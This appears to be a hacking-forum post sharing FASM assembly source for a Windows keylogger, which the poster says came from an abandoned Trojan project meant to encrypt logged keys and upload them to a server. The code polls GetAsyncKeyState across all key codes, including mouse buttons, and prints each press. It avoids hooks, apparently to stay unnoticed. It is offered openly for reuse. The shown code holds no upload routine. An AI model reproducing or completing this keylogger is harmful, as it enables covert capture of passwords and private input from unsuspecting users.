Super fine global Keyloger, no hooks

This was part of my cancelled Trojan project. I'm now taking on other things.

It was supposed to internally log the keys and then when reached a certain amount, encrypt and upload to server.

As you can see, it was a loaded project. lol

Code:

format pe console 4.0

include 'win32ax.inc'

entry main

section 'txt' code readable executable

tId dd 0

main:
         invoke CreateThread,0,0,thread_logger,0,0,[tId]
         invoke WaitForSingleObject,eax,0FFFFFFFh
;Say what ?, no it won't reach here


fmt db '0x%04X',10,0

proc    thread_logger,lpDat

        mov dword[ebp-4],1
reset:
        mov dword[ebp-4],1
for_loop:
        push dword[ebp-4]
        call [GetAsyncKeyState]
        cmp  eax,-32767
        jne  no_log

        push dword[ebp-4]
        push fmt
        stdcall [printf]
no_log:
        inc  dword[ebp-4]
        cmp  dword[ebp-4],100000000b
        jnz for_loop

        push 09
        call [Sleep]
        jmp reset
endp

section '.idata' import data readable

library user32,'user32.dll',\
        kernel32,'kernel32.dll',\
        msvc,'msvcrt.dll'

import msvc,\
       printf,'printf'

include 'api/user32.inc'
include 'api/kernel32.inc'

it logs also mouse key... Enjoy
